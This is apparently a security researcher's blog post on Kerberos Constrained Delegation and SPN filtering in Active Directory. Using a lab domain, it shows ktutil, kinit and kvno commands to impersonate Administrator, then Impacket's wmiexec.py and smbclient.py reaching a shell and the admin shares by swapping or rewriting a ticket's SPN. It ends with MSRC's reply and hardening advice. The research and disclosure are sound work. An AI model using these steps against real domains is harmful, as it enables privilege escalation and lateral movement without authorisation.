During the past few years, there has been an increasing amount of research around Kerberos security, leading to the discovery of very interesting attacks against environments supporting this authentication protocol.

In this blog post, I will cover some findings (and still remaining open questions) around the Kerberos Constrained Delegation feature in Windows as well as Service Principal Name (SPN) filtering that might be useful when considering using/testing this technology. I will also share some code that you can play with. It has heavy Kerberos technical content so you might want to review its RFC or higher level tutorials like this one.

Although I have been doing some research on Kerberos for quite a while, this particular work got triggered when reading Ben Campbell’s ‘Trust? Years to earn, seconds to break’ blog post (very good article by the way). While reading Ben’s article, he described the practical exploitation of an Active Directory environment when having credentials for an account that has the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION capability. He mentioned he couldn’t complete one of the attack steps using the secretsdump.py tool, part of our Impacket library. The Impacket library is used extensively in some of our products, and also as a stand-alone library and tools within the security community. It also happens that I developed that script (plus the Kerberos support) so I took a look at the possible issue for fixing.

Okay.. enough explanations, let’s get into the topic:

Kerberos Constrained Delegation

Think about this scenario, inside a domain called FREEFLY.NET:

image001.png

 Figure 1 - Our test environment in the FREEFLY.NET domain

A normaluser@freefly.net authenticates against a target Web Server, and then that Web Server grabs some content from a third-party server (called fileserver.freefly.net). Now, how does the Web Server authenticate against File Server to grab content? There are a few options:

  1. Use a general user (could be serviceuser@freefly.net)
  2. Use the identity of the user that just authenticated against the Web Server
  3. Any other way that comes to your mind :)

Option 2 looks interesting for those scenarios where the original identity of the client user is needed in the last hop of this chain (in this case the File Server). This might be required for auditing purposes or to enforce better authorization permissions.

In order for this scenario to work, serviceuser@freefly.net needs to have special privileges that will allow it to impersonate the client user and then authenticate on behalf that user against the File Server.

In a nutshell, that’s what Kerberos Delegation is for. Prior to Windows Server 2003, the only way to set up a scenario like this was to give serviceuser@freefly.net the ability to authenticate almost as any user against almost any server within the domain (I say almost because there are ways to restrict it, but most of the times not used). Sean Metcalf covers some of the dangers around this unconstrained delegation feature in this article.

So, in order to address the issues associated with unconstrained delegation, Microsoft introduced Kerberos Constrained Delegation, allowing to specify what services the account you’re giving delegation rights is allowed to present delegated credentials against. This is configured in the delegation tab for the service account. In our case, there should be an entry for cifs/fileserver.freefly.net in there:

kerberos_image003.png

Figure 2 - Constrained Delegation set up for serviceuser@freefly.net

Now, what happens if for any reason, the serviceuser@freefly.net credentials are compromised? For example, one of the possible ways for that account to get compromised is by performing a Kerberoast attack (for more info see Tim Medin’s DerbyCon “Attacking Microsoft Kerberos Kicking the Guard Dog of Hades” slides), but there are many others.

In theory, an attacker using that account would be able to authenticate as any user only against the service cifs/fileserver.freefly.net.

Turns out there were details I wasn’t counting on. While reading Ben Campbell’s blog post there was a paragraph that caught my attention (quoting a Benjamin Delpy’s comment):

The wonderful Mr. Delpy also found that a Kerberos ticket for ldap/domaincontroller.contoso.com would also allow that account to perform an Active Directory DC Sync attack.

That made me think that maybe not only a Kerberos Service Ticket (TGS) for the SPN ldap/domaincontroller.contoso.com would allow Active Directory Replication (what DC Sync and secretsdump.py do) but maybe more SPNs. So, I went to change the way Impacket handles cached Kerberos tickets in this commit.

Basically, if you have different Service Ticket (TGS) cached, and you are asking for, let’s say, a ticket for host/fileserver.freefly.net but the cache only has a ticket for cifs/fileserver.freefly.net, the library will give you that one (instead of None) hoping it might actually work.

Surprisingly that change worked like a charm!! The following steps follow the same steps from Ben’s blog applied to my setup, assuming I compromised serviceuser@freefly.net credentials. This time I will not use secretsdump.py, since for a domain-joined machine (File Server) having a Service Ticket (TGS) for cifs/ is enough for dumping all the credentials (different story if the target is the domain controller). I will be using wmiexec.py that needs a Service Ticket (TGS) for host/ in order to create DCOM connections against the target when executing commands through WMI.

Step 0 – Specify where cached tickets will be stored

# export KRB5CCNAME=/tmp/ccache

Step 1 - Create a keytab for the service account

# ktutil
ktutil:  addent -password -p serviceuser@FREEFLY.NET -k 1 -e aes256-cts-hmac-sha1-96
Password for serviceuser@FREEFLY.NET:
ktutil:  addent -password -p serviceuser@FREEFLY.NET -k 2 -e rc4-hmac
Password for serviceuser@FREEFLY.NET:
ktutil:  wkt /tmp/su.keytab
ktutil:  exit

Step 2 - Retrieve a Ticket Granting Ticket (TGT) for the service account

# kinit -V -k -t /tmp/su.keytab -f serviceuser@FREEFLY.NET
Using default cache: /tmp/ccache
Using principal: serviceuser@FREEFLY.NET
Using keytab: /tmp/su.keytab
Authenticated to Kerberos v5

Step 3 – Request the Ticket Granting Service (TGS) for the target service as the impersonated user (in this case ‘Administrator’)

# kvno -e aes256-cts-hmac-sha1-96  -k /tmp/su.keytab -P -U Administrator cifs/FILESERVER.FREEFLY.NET@FREEFLY.NET
cifs/FILESERVER.FREEFLY.NET@FREEFLY.NET: kvno = 2, keytab entry valid

Step 4 – Pass the ticket using wmiexec.py (some output removed)

$ ./wmiexec.py -k fileserver.freefly.net -debug
Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies
[+] Using Kerberos Cache: /tmp/ccache
[..]
[*] SMBv2.1 dialect used
[..]
[+] Domain retrieved from CCache: FREEFLY.NET
[+] Using Kerberos Cache: /tmp/ccache
[+] SPN HOST/FILESERVER.FREEFLY.NET@FREEFLY.NET not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for CIFS/FILESERVER.FREEFLY.NET@FREEFLY.NET
[..]
[+] Target system is fileserver.freefly.net and isFDQN is True
[+] StringBinding: \\\\FILESERVER[\\PIPE\\atsvc]
[+] StringBinding: FILESERVER[49154]
[+] StringBinding chosen: ncacn_ip_tcp:fileserver.freefly.net[49154]
[..]
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
freefly\administrator

C:\>

As can be seen, I was able to create DCOM connections against the File Server, using the only SPN that was available to delegate (cifs/).

With that information, it was clear to me that the Kerberos Constrained Delegation feature had some issues that needed clarification. I could basically use a Service Ticket (TGS) for cifs/* to do directory replication, or to launch DCOM, etc. Looked like the SPN didn’t matter much at the end.

I emailed Microsoft Security Response Center (MSRC) with my findings and after some days of analysis they answer back with a thorough answer:

The product team has finished their investigation and determined this behavior is expected; they provided the following additional details:

There is no security boundary between processes that run under the same identity. The security descriptor on a process generally grants significant permissions to the user account under which the process is running. Thus, one service that is running under account foo can easily tamper with other service processes also running as foo.

This lack of a security boundary extends to Kerberos as well.  In the Kerberos authentication protocol, a service validates in inbound service ticket by ensuring that the ticket is encrypted to that service’s symmetric key.  The SPN used does not factor into this validation; in fact the AcceptSecurityContext call that the service uses to perform this validation does not include any information about the SPNs that the service expects.  Were this not the case, checking the SPN from the service ticket would still provide no security protection against a malicious client.  The sname field is part of the unencrypted part of the ticket. If service account foo has registered both the host/foo and http/foo SPNs then tickets to those SPNs are fully interchangeable. 

[..]

If a front-end service is granted permission to delegate to host/foo then it is also able to delegate to http/foo.  For this reason, the new Kerberos Constrained Delegation attribute assigns permissions per account, rather than on a per SPN basis.  If two services should have different delegation settings then they must be run under different accounts

That was actually a big surprise to me, in particular in the context of Kerberos Constrained Delegation where you explicitly specify the services (cifs/, http/, etc) to which the account you’re enabling delegation can present delegated credentials against.

The big take away from this is, when configuring Kerberos Constrained Delegation, keep in mind that you are delegating credentials not only to the service type you specified but also to the rest of the service types running under the same account. Also, the SPN specified in the sname field, doesn’t seem to be used as part of the authentication mechanism.

I haven’t seen this behavior explained in any Microsoft documentation around this topic. If anyone has extra data please let me know and I’ll update it here. Also, it's fair to say that the Kerberos RFC doesn’t mention either any sname check when receiving a TGS-REQ from a client. Makes sense since the sname field seems not being protected (more on this later).

Having that big question answered, I already had something else that I couldn’t understand, regarding the SPN Filtering feature.

Server SPN target name validation level

Going back to the Constrained Delegation set up (Figure 2), let’s say that instead of allowing to delegate to cifs/fileserver.freefly.net, we change it to upn/fileserver.freefly.net (or any other service type available except cifs/) and ran all the Steps to get the Kerberos tickets described before. We would end up having the following tickets in our ticket’s cache:

Credentials cache: FILE:/tmp/ccache
        Principal: serviceuser@FREEFLY.NET

  Issued                Expires               Principal
Feb 23 17:26:34 2017  Feb 24 03:26:34 2017  krbtgt/FREEFLY.NET@FREEFLY.NET
Feb 23 17:26:39 2017  Feb 24 03:26:34 2017  serviceuser@FREEFLY.NET
Feb 23 17:26:39 2017  Feb 24 03:26:34 2017  ups/FILESERVER.FREEFLY.NET@FREEFLY.NET

At the same time, we enforce domain wise, the following security policy:

Microsoft network server: Server SPN target name validation level: Required from client

You can read about that policy here, but in a nutshell:

This policy setting controls the level of validation that a server with shared folders or printers performs on the service principal name (SPN) that is provided by the client device when the client device establishes a session by using the Server Message Block (SMB) protocol. The level of validation can help prevent a class of attacks against SMB services (referred to as SMB relay attacks).

Given this configuration and the cached tickets, we can try running a tool that connects to the target cifs/fileserver.freefly.net service presenting the Service Ticket (TGS) for upn/fileserver.freefly.net and hoping it would work. For example, let’s run smbclient.py:

#./smbclient.py -debug -k fileserver.freefly.net

Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies

[+] Using Kerberos Cache: /tmp/ccache
[+] Domain retrieved from CCache: FREEFLY.NET
[+] SPN CIFS/FILESERVER.FREEFLY.NET@FREEFLY.NET not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for UPS/FILESERVER.FREEFLY.NET@FREEFLY.NET
[+] Using TGS from cache
[+] Username retrieved from CCache: Administrator
[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)

As you can see, using the ups/ Service Ticket (TGS) didn’t work this time. But, there was something very interesting inside the MSRC answer, in particular:

checking the SPN from the service ticket would still provide no security protection against a malicious client.  The sname field is part of the unencrypted part of the ticket.

This is very important, the sname field details the target SPN the Service Ticket (TGS) is valid for. Here’s the description of the ticket taken from RFC 4120 for the Ticket included in a TGS-REP packet:

Ticket          ::= [APPLICATION 1] SEQUENCE {
        tkt-vno         [0] INTEGER (5),
        realm           [1] Realm,
        sname           [2] PrincipalName,
        enc-part        [3] EncryptedData -- EncTicketPart
}

So, as the MSRC answer detailed since the sname field is not signed or protected by any means, I could basically change it to the SPN I want and hope the long-term key used to encrypt the enc-part is the same for this new SPNs. If so, that would basically mean that both SPNs are running under the same user.

With all this in mind, I added another change to the way Impacket handles Kerberos tickets. With this new change, if there’s a Service Ticket (TGS) that barely matches the target SPN, not only will the library give it back (instead of None), but also it will change its sname field so it matches the original request.

As said before, this could fail big time if the target service is not running under the same service user as the original Service Ticket (TGS), at least we could try and hope for the best!

With all these changes, running smbclient.py again throws the following:

./smbclient.py -debug -k fileserver.freefly.net
Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies

[+] Using Kerberos Cache: /tmp/ccache
[+] Domain retrieved from CCache: FREEFLY.NET
[+] SPN CIFS/FILESERVER.FREEFLY.NET@FREEFLY.NET not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for UPS/FILESERVER.FREEFLY.NET@FREEFLY.NET
[+] Changing sname from ups/FILESERVER.FREEFLY.NET@FREEFLY.NET to cifs/FILESERVER.FREEFLY.NET@FREEFLY.NET and hoping for the best
[+] Using TGS from cache
[+] Username retrieved from CCache: Administrator
Type help for list of commands
# shares
ADMIN$
C$
IPC$
# 

It worked! Even with Server SPN target name validation level: Required from client enabled. This tells me that most probably the Windows OS is reading the Service Ticket (TGS) sname when applying this policy, although I couldn’t verify it.

On a side note, this policy Server SPN target name validation level: Required from client  works much better (well, works..) when NTLM Authentication is being used, since the target SPN is set by the client (when the client supports it) inside the AV_PAIR structure, included in the blob that is signed as part of the NTLMv2 Authentication.

Final Notes

Kerberos Delegation has some very specific details that are crucial to have in mind to better understand the consequences of allowing delegation in an Active Directory environment.

Consider regularly auditing the accounts with delegation enabled. Always use strong passwords for them. A compromise of those accounts could easily increase the lateral movements and elevation of privileges within the Active Directory environment.

Finally, to the adventurous reader, the idea of changing a ticket’s sname could bring interesting results besides the particular situation described. More research is needed tho :)

Thanks for reading!

Acknowledgments

  • MSRC for its quick and thorough answer.
  • Ben Campbell (@Meatballs__) for his blog post and verifying my Impacket changes worked against his environment.
  • Benjamin Delpy (@gentilkiwi ) for checking these findings himself, peer reviewing these contents and his knowledge of Kerberos internals.